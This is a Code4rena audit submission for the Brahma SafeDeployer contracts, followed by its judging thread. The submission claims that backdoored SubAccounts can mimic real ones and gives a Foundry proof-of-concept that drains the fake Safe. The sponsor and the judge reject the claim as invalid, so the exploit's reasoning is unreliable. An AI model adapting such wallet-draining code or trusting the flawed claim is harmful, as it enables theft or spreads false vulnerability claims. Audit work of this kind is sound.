Malicious actor can deploy backdoored `SubAccount`s imitating real `SubAccount`s

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-brahma/blob/main/contracts/src/core/SafeDeployer.sol#L82-L103 https://github.com/code-423n4/2023-10-brahma/blob/main/contracts/lib/safe-contracts/contracts/base/ModuleManager.sol#L32-L40

Vulnerability details

Impact

Lost user funds IF a Console starts using the backdoored SubAccount

Description

It's possible to deploy a "fake" SubAccount that mimics a "real" SubAccount that is connected to a "real" Console: has the same owners, same threshold, same policyCommitment and most importantly the same Console as a module is allowed to operate on it. The trick of the attacker lies in enabling his own address as well as a module to operate on the SubAccount.

Since the similarities the "real" Console operators might start to use the "fake" SubAccount and transfer funds to it. When this happens the attacker can drain the SubAccount 's funds completely (and could take control of the whole Safe).

If a Console is already deployed on a chain and plans to deploy to different chains, the attacker can immediately mimic a SubAccount on the original chain to deploy a fake one in the new chain tied to the Console. Later when the operators start to use Console on the new chain, they may think that their SubAccount was already deployed on this chain because of the similarities.

Proof of Concept

1. navigate to test/branch-trees/SafeDeployer/deploy-console-account/DeploySubAccount.t.sol
2. import the following safe contracts in the top of the file:

   import {Enum} from "safe-contracts/common/Enum.sol";
   import {GnosisSafe} from "safe-contracts/GnosisSafe.sol";
   import {ModuleManager} from "safe-contracts/base/ModuleManager.sol";

3. copy the below proof of concept (with executeSafeTxHelper() and deployBackdoorSubAccountHelper() helper functions) in SafeDeployer_DeploySubAccountTest contract

4. run make test_func P=testDeploySubAccount_BaitBackdoor_0xfuje

   
   function testDeploySubAccount_BaitBackdoor_0xfuje() public {
       address attacker = makeAddr("attacker");
       address[] memory owners = new address[](3);
   
       owners[0] = makeAddr("owners[0]");
       owners[1] = makeAddr("owners[1]");
       owners[2] = makeAddr("owners[2]");
   
       bytes32 _commit = keccak256("Commitment");
   
       vm.chainId(1); // state on ETH chain before deployments saved
       uint256 snapshotBeforeDeployments = vm.snapshot();
   
       // 1.1 original console account is deployed on ETH
       vm.prank(owners[0]);
       address originConsoleAccountETH = safeDeployer.deployConsoleAccount(owners, 2, bytes32(0), keccak256("OG"));
       // 1.2 original console account deploys a subAccount
       vm.prank(originConsoleAccountETH);
       address originSubAccount = safeDeployer.deploySubAccount(owners, 2, _commit, keccak256("salt"));
   
       // 2. attacker deploys bait sub account -> original console account is allowed to operate on
       // -> see `deployBackdoorSubAccountHelper` for more details
       address fakeSubAccountETH = deployBackdoorSubAccountHelper(
           attacker, originConsoleAccountETH, owners, 2, _commit, keccak256("salt")
       );
   
       // 3. original user may start using the fake sub account since
       // -> he is allowed to operate on it as a module (consoleAccount -> subAccount pattern)
       // -> he sees the same ownership of admins, same threshold, same commit
   
       // original user validates that his consoleAccount is allowed to operate on the subAccount
       (address[] memory modules, ) = GnosisSafe(payable(fakeSubAccountETH)).getModulesPaginated(address(0x1), 10);
       assertEq(modules[0], originConsoleAccountETH);
   
       // 4. original user transfer funds to the subAccount
       deal(fakeSubAccountETH, 5 ether);
   
       // 5. attacker can immediately take control of the bait subAccount via execTransactionFromModule
       // because secretly he is also enabled as a module to operate on the subAccount
       // in this demonstration, it transfers funds, but it can take full ownership of the Safe subAccount
       vm.prank(attacker);
       GnosisSafe(payable(fakeSubAccountETH)).execTransactionFromModule(
           attacker, 5 ether, "", Enum.Operation.Call
       );
   
       // verify that attacker got the funds
       assertEq(fakeSubAccountETH.balance, 0);
       assertEq(attacker.balance, 5 ether);
   
       // *** CROSS-CHAIN SECTION OF THE EXPLOIT ***
   
       // attacker can deploy the same subAccount on different chains
       vm.chainId(42161); // Arbitrum deployment
       vm.revertTo(snapshotBeforeDeployments);
   
       // 6. when the owner deploys on a new chain
       vm.prank(owners[0]);
       address originConsoleAccountARB = safeDeployer.deployConsoleAccount(owners, 2, bytes32(0), keccak256("OG"));
       assertEq(originConsoleAccountARB, originConsoleAccountETH);
   
       // 7. the attacker can immediately deploy a bait backdoored subAccount
       address fakeSubAccountARB = deployBackdoorSubAccountHelper(
           attacker, originConsoleAccountETH, owners, 2, _commit, keccak256("salt")
       );
   }
   
   function deployBackdoorSubAccountHelper(
       address pranker,
       address originConsoleAccount,
       address[] memory owners,
       uint256 threshold,
       bytes32 commit,
       bytes32 salt
   ) public returns (address subAccount) {
       vm.startPrank(pranker);
       // 2.1 attacker registers wallet as "consoleAccount" first
       walletRegistry.registerWallet();
       // 2.2 attacker deploys bait subAccount with the same parameters as the original
       subAccount = safeDeployer.deploySubAccount(owners, threshold, commit, salt);
   
       // 2.3 enable the original console account
       GnosisSafe(payable(subAccount)).execTransactionFromModule(
           subAccount,
           0,
           abi.encodeWithSelector(ModuleManager.enableModule.selector, originConsoleAccount),
           Enum.Operation.Call
       );
   
       vm.stopPrank();
   }
   
   function executeSafeTxHelper(address from, GnosisSafe safe, address to, uint256 nonce, bytes memory data, bool expectRevert) public {
       vm.startPrank(from);
   
       bytes32 r = bytes32(uint256(uint160(address(from))));
   
       bytes32 dataHash =
       safe.getTransactionHash(to, 0, data, Enum.Operation.Call, 0, 0, 0, address(0), msg.sender, nonce);
       safe.approveHash(dataHash);
   
       if (expectRevert) {
           vm.expectRevert();
       }
   
       safe.execTransaction(
           to,
           0,
           data,
           Enum.Operation.Call,
           0,
           0,
           0,
           address(0),
           payable(address(msg.sender)),
           abi.encodePacked(abi.encode(r, bytes32(0)), bytes1(hex"01"))
       );
   
       vm.stopPrank();
   }

## Recommended Mitigation
Document clearly this attack vector to warn users in docs and in comments in the code. Consider to implement stricter access control while registering `Console` in `WalletRegistry.sol` - [`registerWallet()`](https://github.com/code-423n4/2023-10-brahma/blob/main/contracts/src/core/registries/WalletRegistry.sol#L35-L40) and in `SafeDeployer.sol` - [`deployConsoleAccount()`](https://github.com/code-423n4/2023-10-brahma/blob/main/contracts/src/core/SafeDeployer.sol#L56-L71) and [`deploySubAccount()`](https://github.com/code-423n4/2023-10-brahma/blob/main/contracts/src/core/SafeDeployer.sol#L82-L103).

## Assessed type

Other

[c4-pre-sort]

raymondfam marked the issue as sufficient quality report

[c4-pre-sort]

raymondfam marked the issue as primary issue

[0xad1onchain]

Invalid while any malicious actor can come and deploy subaccount with same parameters (same operators and threshold), the subaccount will be mapped to the actor and nobody else in the Walletregistry. In this POC the subaccount deployed is still owned by and mapped to malicious actor in walletregistry and not to originalConsoleAccount

[c4-sponsor]

0xad1onchain (sponsor) disputed

[alex-ppg]

As the Sponsor has correctly specified, the Warden's PoC as well as understanding of the SafeDeployer::deploySubAccount is incorrect. The SafeDeployer::deploySubAccount function will create an initialization payload for the Gnosis Safe based on the SafeDeployer::_setupSubAccount result which will utilize the msg.sender.

The attack is thus unable to deploy a sub-account on a known location as the sub-account's address derivation mechanism utilizes the deployer of the sub-account as a variable that influences it, specifically as part of the _initializer.

[c4-judge]

alex-ppg marked the issue as unsatisfactory: Invalid